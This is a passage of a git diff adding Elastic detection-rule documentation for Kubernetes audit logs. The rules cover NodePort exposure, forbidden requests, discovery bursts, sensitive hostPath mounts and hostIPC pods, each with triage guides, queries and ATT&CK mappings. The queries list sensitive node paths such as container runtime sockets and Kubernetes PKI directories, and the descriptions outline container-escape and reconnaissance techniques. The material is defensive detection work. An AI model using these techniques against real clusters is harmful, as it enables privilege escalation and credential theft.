+ + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Kubernetes Exposed Service Created With Type NodePort* + + +Kubernetes NodePort services enable external access to cluster pods by opening a port on each worker node. This can be exploited by attackers to bypass network security, intercept traffic, or establish unauthorized communication channels. The detection rule identifies suspicious NodePort service creation or modification by monitoring Kubernetes audit logs for specific actions and authorization decisions, helping to mitigate potential security risks. + + +*Possible investigation steps* + + +- Review the Kubernetes audit logs to identify the specific service that was created or modified with the type NodePort. Focus on entries where kubernetes.audit.objectRef.resource is "services" and kubernetes.audit.verb is "create", "update", or "patch". +- Check the kubernetes.audit.annotations.authorization_k8s_io/decision field to confirm that the action was allowed, ensuring that the service creation or modification was authorized. +- Identify the user or service account responsible for the action by examining the relevant fields in the audit logs, such as the user identity or service account name. +- Investigate the context of the NodePort service by reviewing the associated pods and their labels to understand what applications or services are being exposed externally. +- Assess the network security implications by determining if the NodePort service could potentially bypass existing firewalls or security controls, and evaluate the risk of unauthorized access or data interception. +- Verify if the NodePort service is necessary for legitimate business purposes or if it was created without proper justification, indicating potential malicious intent. + + +*False positive analysis* + + +- Routine service updates or deployments may trigger the rule if NodePort services are part of standard operations. To manage this, create exceptions for specific namespaces or service accounts that are known to perform these actions regularly. +- Development or testing environments often use NodePort services for ease of access. Exclude these environments from the rule by filtering based on labels or annotations that identify non-production clusters. +- Automated deployment tools or scripts that configure services as NodePort for legitimate reasons can cause false positives. Identify these tools and add their service accounts to an exception list to prevent unnecessary alerts. +- Internal services that require external access for legitimate business needs might be flagged. Document these services and apply exceptions based on their specific labels or annotations to avoid false alarms. +- Temporary configurations during incident response or troubleshooting might involve NodePort services. Ensure that these activities are logged and approved, and consider temporary exceptions during the incident resolution period. + + +*Response and remediation* + + +- Immediately isolate the affected NodePort service by removing or disabling it to prevent further unauthorized access or traffic interception. +- Review and revoke any unauthorized access or permissions granted to users or service accounts that created or modified the NodePort service. +- Conduct a thorough audit of network traffic logs to identify any suspicious or unauthorized external connections made through the NodePort service. +- Implement network segmentation and firewall rules to restrict external access to critical services and ensure that only necessary ports are exposed. +- Escalate the incident to the security operations team for further investigation and to assess potential impacts on the cluster's security posture. +- Apply security patches and updates to Kubernetes components and worker nodes to mitigate any known vulnerabilities that could be exploited. +- Enhance monitoring and alerting mechanisms to detect future unauthorized NodePort service creations or modifications promptly. + +==== Setup + + +The Kubernetes Fleet integration with Audit Logs enabled or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset : "kubernetes.audit_logs" + and kubernetes.audit.annotations.authorization_k8s_io/decision:"allow" + and kubernetes.audit.objectRef.resource:"services" + and kubernetes.audit.verb:("create" or "update" or "patch") + and kubernetes.audit.requestObject.spec.type:"NodePort" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: External Remote Services +** ID: T1133 +** Reference URL: https://attack.mitre.org/techniques/T1133/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: External Remote Services +** ID: T1133 +** Reference URL: https://attack.mitre.org/techniques/T1133/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-forbidden-creation-request.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-forbidden-creation-request.asciidoc new file mode 100644 index 0000000000..1348e1c614 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-forbidden-creation-request.asciidoc @@ -0,0 +1,112 @@ +[[prebuilt-rule-8-19-34-kubernetes-forbidden-creation-request]] +=== Kubernetes Forbidden Creation Request + +This rule detects attempts to create resources in Kubernetes clusters that are forbidden by the authorization policy. It specifically looks for creation requests that are denied with a "forbid" decision, indicating that the user or service account does not have the necessary permissions to perform the action. This activity is commonly associated with adversaries attempting to create resources in a Kubernetes environment without proper authorization, which can lead to unauthorized access, manipulation of cluster resources, lateral movement and/or privilege escalation. + +*Rule type*: eql + +*Rule indices*: + +* logs-kubernetes.audit_logs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Data Source: Kubernetes +* Domain: Kubernetes +* Use Case: Threat Detection +* Tactic: Execution +* Resources: Investigation Guide +* Noise: High +* Performance: Fast +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: Kubernetes +* Domain: Containers +* Domain: Cloud + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Kubernetes Forbidden Creation Request* + + +Kubernetes, a container orchestration platform, manages applications across clusters. It uses authorization policies to control resource creation. Adversaries may exploit misconfigurations or attempt unauthorized resource creation to gain access or escalate privileges. The detection rule identifies denied creation requests, signaling potential unauthorized attempts, by analyzing audit logs for forbidden decisions, aiding in threat detection and response. + + +*Possible investigation steps* + + +- Review the audit logs to identify the user or service account associated with the forbidden creation request by examining the `kubernetes.audit.user.username` field. +- Check the `kubernetes.audit.objectRef.resource` field to determine which specific resource type the unauthorized creation attempt was targeting. +- Investigate the `kubernetes.audit.sourceIPs` field to trace the source IP address of the request, which may help identify the origin of the unauthorized attempt. +- Analyze the `kubernetes.audit.annotations.authorization_k8s_io/reason` field, if available, to understand why the request was forbidden, providing insights into potential misconfigurations or policy violations. +- Cross-reference the user or service account with existing role bindings and cluster role bindings to verify if there are any misconfigurations or missing permissions that could have led to the forbidden request. +- Review recent changes in the cluster's authorization policies or role assignments that might have inadvertently affected permissions, leading to the denied request. +- Consider correlating this event with other security alerts or logs to identify patterns or repeated unauthorized attempts, which could indicate a broader attack strategy. + + +*False positive analysis* + + +- Service accounts with limited permissions may trigger false positives when attempting to create resources they are not authorized for. Review service account roles and permissions to ensure they align with intended access levels. +- Automated processes or scripts that attempt resource creation without proper permissions can result in false positives. Identify and adjust these processes to ensure they operate within their designated permissions. +- Developers testing new configurations or deployments might inadvertently cause forbidden creation requests. Implement a separate testing environment with appropriate permissions to minimize false positives in production. +- Changes in authorization policies can lead to temporary false positives as users adjust to new permissions. Communicate policy changes effectively and provide guidance on necessary adjustments to avoid unnecessary alerts. +- Regularly scheduled tasks or cron jobs that attempt resource creation without updated permissions can trigger false positives. Review and update these tasks to ensure they have the necessary access rights. + + +*Response and remediation* + + +- Immediately isolate the affected Kubernetes cluster to prevent further unauthorized access or resource manipulation. This can be done by restricting network access or applying stricter firewall rules temporarily. +- Identify and revoke any unauthorized or suspicious service accounts or user credentials that attempted the forbidden creation request. Ensure that these accounts are disabled or have their permissions reduced to prevent further misuse. +- Review and update the Kubernetes Role-Based Access Control (RBAC) policies to ensure that only authorized users and service accounts have the necessary permissions to create resources. This includes verifying that least privilege principles are applied. +- Conduct a thorough audit of recent Kubernetes audit logs to identify any other unauthorized access attempts or suspicious activities that may have occurred around the same time as the detected alert. +- Escalate the incident to the security operations team for further investigation and to determine if there is a broader security incident or breach. Provide them with all relevant logs and findings. +- Implement additional monitoring and alerting for similar unauthorized creation attempts in the future. This can include setting up alerts for any "forbid" decisions in the audit logs to ensure rapid detection and response. +- Consider deploying additional security tools or services, such as intrusion detection systems or anomaly detection solutions, to enhance the security posture of the Kubernetes environment and prevent similar threats. + + +==== Rule query + + +[source, js] +---------------------------------- +any where data_stream.dataset == "kubernetes.audit_logs" and kubernetes.audit.verb == "create" and +kubernetes.audit.stage == "ResponseComplete" and `kubernetes.audit.annotations.authorization_k8s_io/decision` == "forbid" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-forbidden-request-from-unusual-user-agent.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-forbidden-request-from-unusual-user-agent.asciidoc new file mode 100644 index 0000000000..019c969da2 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-forbidden-request-from-unusual-user-agent.asciidoc @@ -0,0 +1,119 @@ +[[prebuilt-rule-8-19-34-kubernetes-forbidden-request-from-unusual-user-agent]] +=== Kubernetes Forbidden Request from Unusual User Agent + +This rule detects when a forbidden request is made from an unusual user agent in a Kubernetes environment. Adversary tooling may use non-standard or unexpected user agents to interact with the Kubernetes API, which can indicate an attempt to evade detection or blend in with legitimate traffic. In combination with a forbidden request, this behavior can suggest an adversary is attempting to exploit vulnerabilities or misconfigurations in the Kubernetes cluster. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-kubernetes.audit_logs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Data Source: Kubernetes +* Domain: Kubernetes +* Use Case: Threat Detection +* Tactic: Execution +* Resources: Investigation Guide +* Noise: Medium +* Performance: Fast +* Rule Type: New Terms +* Platform: Kubernetes +* Domain: Containers +* Domain: Cloud + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Kubernetes Forbidden Request from Unusual User Agent* + + +Kubernetes, a container orchestration platform, manages applications across clusters. It uses APIs for communication, which can be targeted by adversaries using atypical user agents to mask malicious activities. These agents may attempt unauthorized actions, exploiting vulnerabilities. The detection rule identifies such anomalies by flagging forbidden requests from non-standard user agents, indicating potential threats. + + +*Possible investigation steps* + + +- Review the Kubernetes audit logs to identify the source IP address and user associated with the forbidden request. This can help determine if the request originated from a known or unknown entity. +- Analyze the user agent string in the audit logs to understand its origin and purpose. Cross-reference it with known legitimate user agents to assess its legitimacy. +- Check for any recent changes or deployments in the Kubernetes environment that might have introduced new user agents or configurations, potentially leading to the forbidden request. +- Investigate the specific resource or API endpoint that was targeted by the forbidden request to understand what the adversary might have been attempting to access or exploit. +- Correlate the event with other security logs and alerts to identify any patterns or additional suspicious activities that might indicate a broader attack or reconnaissance effort. +- Assess the current security posture and configurations of the Kubernetes cluster to identify any vulnerabilities or misconfigurations that could be exploited by adversaries using unusual user agents. + + +*False positive analysis* + + +- Legitimate internal tools or scripts may use non-standard user agents that are not included in the exclusion list. Review and identify these tools, then update the exclusion list to prevent them from being flagged. +- Automated processes or third-party integrations might use unique user agents that trigger the rule. Verify these processes and consider adding their user agents to the exclusion list if they are deemed safe. +- Development or testing environments often use custom user agents for API interactions. Ensure these environments are accounted for by excluding their user agents to avoid unnecessary alerts. +- Regularly review and update the exclusion list to reflect changes in legitimate user agents used within your organization, ensuring that only truly unusual and potentially malicious agents are flagged. + + +*Response and remediation* + + +- Immediately isolate the affected Kubernetes node or cluster to prevent further unauthorized access or potential lateral movement by the adversary. +- Revoke any suspicious or unauthorized credentials or tokens that may have been used in the forbidden request to ensure they cannot be reused. +- Conduct a thorough review of the Kubernetes audit logs to identify any additional unauthorized or suspicious activities that may have occurred around the time of the alert. +- Patch any identified vulnerabilities or misconfigurations in the Kubernetes environment that may have been exploited, ensuring all components are up to date with the latest security patches. +- Implement stricter access controls and user agent validation to prevent non-standard user agents from interacting with the Kubernetes API unless explicitly allowed. +- Escalate the incident to the security operations team for further investigation and to determine if additional containment or remediation actions are necessary. +- Enhance monitoring and alerting for similar activities by tuning detection systems to recognize patterns associated with this type of threat, ensuring rapid response to future incidents. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:"kubernetes.audit_logs" and +kubernetes.audit.stage:"ResponseComplete" and +kubernetes.audit.annotations.authorization_k8s_io/decision:"forbid" and +user_agent.original:(* and not (*kubernetes/$Format)) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Container and Resource Discovery +** ID: T1613 +** Reference URL: https://attack.mitre.org/techniques/T1613/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-multi-resource-discovery.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-multi-resource-discovery.asciidoc new file mode 100644 index 0000000000..130bfbdaf5 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-multi-resource-discovery.asciidoc @@ -0,0 +1,128 @@ +[[prebuilt-rule-8-19-34-kubernetes-multi-resource-discovery]] +=== Kubernetes Multi-Resource Discovery + +Adversaries who land credentials in a cluster—or abuse an over-privileged token—often map the environment before exfiltration or privilege escalation. A practical first pass is to learn where workloads run, how the cluster is partitioned, and what RBAC exists at namespace vs cluster scope. Rapid `get`/`list` traffic across distinct API resource kinds that answer those questions (namespaces, workloads, roles, cluster-wide roles) is a common setup and orientation pattern for both interactive attackers and automated recon scripts. It is less typical for steady-state controllers, which usually touch a narrow set of resources repeatedly. This rule highlights that cross-resource burst from a single client fingerprint within a one-minute bucket so analysts can separate routine automation from potential discovery and permission reconnaissance ahead of follow-on actions. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-11m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://attack.mitre.org/techniques/T1613/ +* https://microsoft.github.io/Threat-Matrix-for-Kubernetes/ + +*Tags*: + +* Data Source: Kubernetes +* Domain: Kubernetes +* Use Case: Threat Detection +* Tactic: Discovery +* Resources: Investigation Guide +* Noise: High +* Performance: Fast +* Profile: Aggressive +* Rule Type: ES|QL +* Platform: Kubernetes +* Domain: Containers +* Domain: Cloud + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Kubernetes Multi-Resource Discovery* + + +The rule groups Kubernetes audit `get`/`list` events on namespaces, pods, roles, and clusterroles into one-minute windows +per `user.name`, `source.ip`, `user_agent.original`, and flags windows where three or more distinct resource types appear. +That combination is consistent with someone sketching cluster layout and privilege structure rather than touching a single +resource type. **Allowed and denied** authorizations are both included: failures still signal probing and validate which +object types the caller attempted to reach. + + +*Possible investigation steps* + + +- Pivot on `Esql.time_interval` and the same identity or IP in raw audit logs to see ordering (e.g. namespaces first, + then roles, then pods) and whether calls succeeded. +- Review `Esql.decisions` and namespaces touched; correlate with RBAC for that identity to see if scope matches a + known job or breaks least-privilege expectations. +- Hunt for follow-on activity: secret/configmap reads, rolebinding changes, pod exec, anonymous or unusual user agents. +- Baseline automation: CI, GitOps, and some monitoring agents can read several resource types during sync; exclude + known service accounts or source networks if noisy. + + +*False positive analysis* + + +- Platform operators or runbooks that reconcile RBAC and workload state may legitimately span these resource types in + a short window; tune by user, IP allowlist, or user agent when documented. +- Some installers briefly query namespaces, pods, and roles during upgrades—correlate with change windows. + + +*Response and remediation* + + +- If malicious, revoke or rotate the implicated credentials, review and tighten RBAC, and inspect for data access or + persistence established after the burst. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-kubernetes.audit_logs-* metadata _id, _index, _version +| eval Esql.time_interval = date_trunc(1 minute, @timestamp) +| where event.dataset == "kubernetes.audit_logs" + and event.action in ("get", "list") + and kubernetes.audit.objectRef.resource in ("namespaces", "nodes", "pods", "roles", "configmaps", "serviceaccounts", "clusterroles", "clusterrolebindings", "rolebindings") + and source.ip is not null and user.name IS NOT NULL + and not to_string(source.ip) in ("127.0.0.1", "::1") + and not user.name rlike """(system:serviceaccount:kube-system:|eks:|system:kube-|arn:aws:sts::.*:assumed-role/AWSServiceRoleForAmazonEKS/|system:serviceaccount:kube-system:azure|system:node:aks-default|aksService).*""" + and not kubernetes.audit.user.username in ("system:serviceaccount:flux-system:kustomize-controller", "system:serviceaccount:flux-system:helm-controller", "system:serviceaccount:flux-system:source-controller", "system:serviceaccount:security:trivy-operator") +| stats + Esql.unique_resources = count_distinct(kubernetes.audit.objectRef.resource), + Esql.enumerated_resources = values(kubernetes.audit.objectRef.resource), + Esql.enumerated_namespaces = values(kubernetes.audit.objectRef.namespace), + Esql.decisions = values(`kubernetes.audit.annotations.authorization_k8s_io/decision`) + by user.name, kubernetes.audit.user.username, source.ip, user_agent.original, Esql.time_interval +| where Esql.unique_resources >= 3 +| keep Esql.*, kubernetes.audit.user.username, user.name, source.ip, user_agent.original + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Container and Resource Discovery +** ID: T1613 +** Reference URL: https://attack.mitre.org/techniques/T1613/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-pod-created-with-a-sensitive-hostpath-volume.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-pod-created-with-a-sensitive-hostpath-volume.asciidoc new file mode 100644 index 0000000000..ef3dd41ee9 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-pod-created-with-a-sensitive-hostpath-volume.asciidoc @@ -0,0 +1,150 @@ +[[prebuilt-rule-8-19-34-kubernetes-pod-created-with-a-sensitive-hostpath-volume]] +=== Kubernetes Pod Created with a Sensitive hostPath Volume + +This rule detects when a pod is created with a sensitive volume of type hostPath. A hostPath volume type mounts a sensitive file or folder from the node to the container. If the container gets compromised, the attacker can use this mount for gaining access to the node. There are many ways a container with unrestricted access to the host filesystem can escalate privileges, including reading data from other containers, and accessing tokens of more privileged pods. + +*Rule type*: query + +*Rule indices*: + +* logs-kubernetes.audit_logs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216 +* https://kubernetes.io/docs/concepts/storage/volumes/#hostpath + +*Tags*: + +* Data Source: Kubernetes +* Domain: Kubernetes +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Privilege Escalation +* Resources: Investigation Guide +* Noise: High +* Performance: Fast +* Profile: Aggressive +* Threat: Container Escape +* Rule Type: Custom Query (KQL) +* Platform: Kubernetes +* Domain: Containers +* Domain: Cloud + +*Version*: 211 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Kubernetes Pod Created with a Sensitive hostPath Volume* + + +Kubernetes allows containers to access host filesystems via hostPath volumes, which can be crucial for certain applications. However, if a container is compromised, adversaries can exploit these mounts to access sensitive host data or escalate privileges. The detection rule identifies when pods are created or modified with hostPath volumes pointing to critical directories, signaling potential misuse or security risks. + + +*Possible investigation steps* + + +- Review the Kubernetes audit logs to identify the specific pod creation or modification event that triggered the alert, focusing on the event.dataset field with the value "kubernetes.audit_logs". +- Examine the kubernetes.audit.requestObject.spec.volumes.hostPath.path field to determine which sensitive hostPath was mounted and assess the potential risk associated with that specific path. +- Check the kubernetes.audit.annotations.authorization_k8s_io/decision field to confirm that the action was allowed, and verify the legitimacy of the authorization decision. +- Investigate the kubernetes.audit.requestObject.spec.containers.image field to identify the container image used, ensuring it is not a known or suspected malicious image, and cross-reference with any known vulnerabilities or security advisories. +- Analyze the context of the pod creation or modification by reviewing the kubernetes.audit.verb field to understand whether the action was a create, update, or patch operation, and correlate this with recent changes or deployments in the environment. +- Assess the potential impact on the cluster by identifying other pods or services that might be affected by the compromised pod, especially those with elevated privileges or access to sensitive data. + + +*False positive analysis* + + +- Development environments often use hostPath volumes for testing purposes, which can trigger this rule. To manage this, create exceptions for specific namespaces or labels associated with development workloads. +- Monitoring tools or agents may require access to certain host paths for legitimate reasons. Identify these tools and exclude their specific container images from the rule, similar to the exclusion of the elastic-agent image. +- Backup or logging applications might need access to host directories to perform their functions. Review these applications and consider excluding their specific hostPath configurations if they are deemed non-threatening. +- Some system maintenance tasks might temporarily use hostPath volumes. Document these tasks and schedule them during known maintenance windows, then create temporary exceptions during these periods. +- Custom scripts or automation tools that interact with Kubernetes may inadvertently trigger this rule. Audit these scripts and tools, and if they are safe, exclude their specific actions or paths from the rule. + + +*Response and remediation* + + +- Immediately isolate the affected pod to prevent further access to sensitive host data. This can be done by cordoning the node or deleting the pod if necessary. +- Review and revoke any credentials or tokens that may have been exposed through the compromised pod to prevent unauthorized access to other resources. +- Conduct a thorough analysis of the container image and application code to identify any vulnerabilities or malicious code that may have led to the compromise. +- Patch or update the container image and application code to address any identified vulnerabilities, and redeploy the application with the updated image. +- Implement network policies to restrict pod-to-pod and pod-to-node communication, limiting the potential impact of a compromised pod. +- Enhance monitoring and logging for Kubernetes audit logs to ensure timely detection of similar threats in the future, focusing on unauthorized access attempts and privilege escalation activities. +- Escalate the incident to the security operations team for further investigation and to assess the need for additional security measures or incident response actions. + +==== Setup + + +The Kubernetes Fleet integration with Audit Logs enabled or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset : "kubernetes.audit_logs" and kubernetes.audit.annotations.authorization_k8s_io/decision:"allow" and +kubernetes.audit.objectRef.resource:"pods" and kubernetes.audit.verb:("create" or "update" or "patch") and +kubernetes.audit.requestObject.spec.volumes.hostPath.path: ( + "/" or "/proc" or "/root" or "/var" or "/var/run" or "/var/run/docker.sock" or "/var/run/crio/crio.sock" or + "/var/run/cri-dockerd.sock" or "/var/lib/kubelet" or "/var/lib/kubelet/pki" or "/var/lib/docker/overlay2" or + "/etc" or "/etc/kubernetes" or "/etc/kubernetes/manifests" or "/etc/kubernetes/pki" or "/home/admin" +) and +not kubernetes.audit.requestObject.spec.containers.image: ( + docker.elastic.co/beats/elastic-agent* or *elastic/elastic-agent* or docker.elastic.co/elastic-agent/elastic-agent* or + *elastic-agent\:dev* or *cloudops-azure-devops-agent* or rancher/mirrored-longhornio-longhorn-instance-manager* or + quay.io/calico* or ghcr.io/aquasecurity* or rancher/system-agent* or rancher/mirrored-longhornio-csi-node-driver-registrar* or + rancher/mirrored-longhornio-livenessprobe* or quay.io/prometheus/node-exporter* or *eks/observability/cloudwatch-agent* or + amazon/aws-efs-csi-driver* or public.ecr.aws/eks-distro/kubernetes-csi* or quay.io/cilium/cilium* or openebs/node-disk-manager* or + openebs/cstor-csi-driver* or registry.k8s.io/sig-storage/csi-node-driver-registrar* or *.amazonaws.com/eks/csi-node-driver-registrar* or + *.amazonaws.com/eks/livenessprobe* or *.amazonaws.com/eks/aws-efs-csi-driver* or mcr.microsoft.com/oss/v2/kubernetes-csi* or + rancher/mirrored-cilium-cilium* or jenkins/inbound-agent* or gcr.io/datadoghq/agent* or rancher/mirrored-longhornio-longhorn-share-manager* or + */sysdig/* +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Escape to Host +** ID: T1611 +** Reference URL: https://attack.mitre.org/techniques/T1611/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Deploy Container +** ID: T1610 +** Reference URL: https://attack.mitre.org/techniques/T1610/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-pod-created-with-hostipc.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-pod-created-with-hostipc.asciidoc new file mode 100644 index 0000000000..534ce25c3b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-pod-created-with-hostipc.asciidoc @@ -0,0 +1,139 @@ +[[prebuilt-rule-8-19-34-kubernetes-pod-created-with-hostipc]] +=== Kubernetes Pod Created With HostIPC + +This rule detects an attempt to create or modify a pod using the host IPC namespace. This gives access to data used by any pod that also use the hosts IPC namespace. If any process on the host or any processes in a pod uses the hosts inter-process communication mechanisms (shared memory, semaphore arrays, message queues, etc.), an attacker can read/write to those same mechanisms. They may look for files in /dev/shm or use ipcs to check for any IPC facilities being used. + +*Rule type*: query + +*Rule indices*: + +* logs-kubernetes.audit_logs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://research.nccgroup.com/2021/11/10/detection-engineering-for-kubernetes-clusters/#part3-kubernetes-detections +* https://kubernetes.io/docs/concepts/security/pod-security-policy/#host-namespaces +* https://bishopfox.com/blog/kubernetes-pod-privilege-escalation + +*Tags*: + +* Data Source: Kubernetes +* Domain: Kubernetes +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Privilege Escalation +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Profile: Recommended +* Threat: Container Escape +* Rule Type: Custom Query (KQL) +* Platform: Kubernetes +* Domain: Containers +* Domain: Cloud + +*Version*: 211 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Kubernetes Pod Created With HostIPC* + + +Kubernetes allows pods to share the host's IPC namespace, enabling inter-process communication. While useful for legitimate applications, adversaries can exploit this to access shared memory and IPC mechanisms, potentially leading to data exposure or privilege escalation. The detection rule identifies suspicious pod creation or modification events that enable host IPC, excluding known benign images, to flag potential security threats. + + +*Possible investigation steps* + + +- Review the Kubernetes audit logs to identify the specific pod creation or modification event that triggered the alert, focusing on the event.dataset field with the value "kubernetes.audit_logs". +- Examine the kubernetes.audit.annotations.authorization_k8s_io/decision field to confirm that the action was allowed, and verify the identity of the user or service account that initiated the request. +- Investigate the kubernetes.audit.objectRef.resource field to ensure the resource involved is indeed a pod, and check the kubernetes.audit.verb field to determine if the action was a create, update, or patch operation. +- Analyze the kubernetes.audit.requestObject.spec.hostIPC field to confirm that host IPC was enabled, and cross-reference with the kubernetes.audit.requestObject.spec.containers.image field to ensure the image is not part of the known benign list. +- Check for any other pods or processes on the host that might be using the host's IPC namespace, and assess if there is any unauthorized access or data exposure risk. +- Look for any suspicious activity or anomalies in the /dev/shm directory or use the ipcs command to identify any IPC facilities that might be exploited. + + +*False positive analysis* + + +- Pods using hostIPC for legitimate inter-process communication may trigger alerts. Review the pod's purpose and verify if hostIPC is necessary for its function. +- Known benign images, such as monitoring or logging agents, might use hostIPC. Update the exclusion list to include these images if they are verified as non-threatening. +- Development or testing environments often use hostIPC for debugging purposes. Consider excluding these environments from the rule or creating a separate rule with a higher threshold for alerts. +- Automated deployment tools might temporarily use hostIPC during setup. Ensure these tools are recognized and excluded if they are part of a controlled and secure process. +- Regularly review and update the exclusion list to reflect changes in your environment, ensuring that only verified and necessary uses of hostIPC are excluded. + + +*Response and remediation* + + +- Immediately isolate the affected pod to prevent further access to the host's IPC namespace. This can be done by cordoning the node or deleting the pod if necessary. +- Review and revoke any unnecessary permissions or roles that allowed the pod to be created or modified with hostIPC enabled. Ensure that only trusted entities have the capability to modify pod specifications. +- Conduct a thorough audit of other pods and configurations in the cluster to identify any additional instances where hostIPC is enabled without a valid justification. +- Implement network policies to restrict communication between pods and the host, limiting the potential impact of any unauthorized access to the host's IPC mechanisms. +- Escalate the incident to the security operations team for further investigation and to determine if any data exposure or privilege escalation occurred. +- Update security policies and configurations to prevent the use of hostIPC in future pod deployments unless explicitly required and approved. +- Enhance monitoring and alerting to detect similar attempts in the future, ensuring that any unauthorized use of hostIPC is promptly flagged and addressed. + +==== Setup + + +The Kubernetes Fleet integration with Audit Logs enabled or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset : "kubernetes.audit_logs" and kubernetes.audit.annotations.authorization_k8s_io/decision:"allow" and +kubernetes.audit.objectRef.resource:"pods" and kubernetes.audit.verb:("create" or "update" or "patch") and +kubernetes.audit.requestObject.spec.hostIPC:true and +not 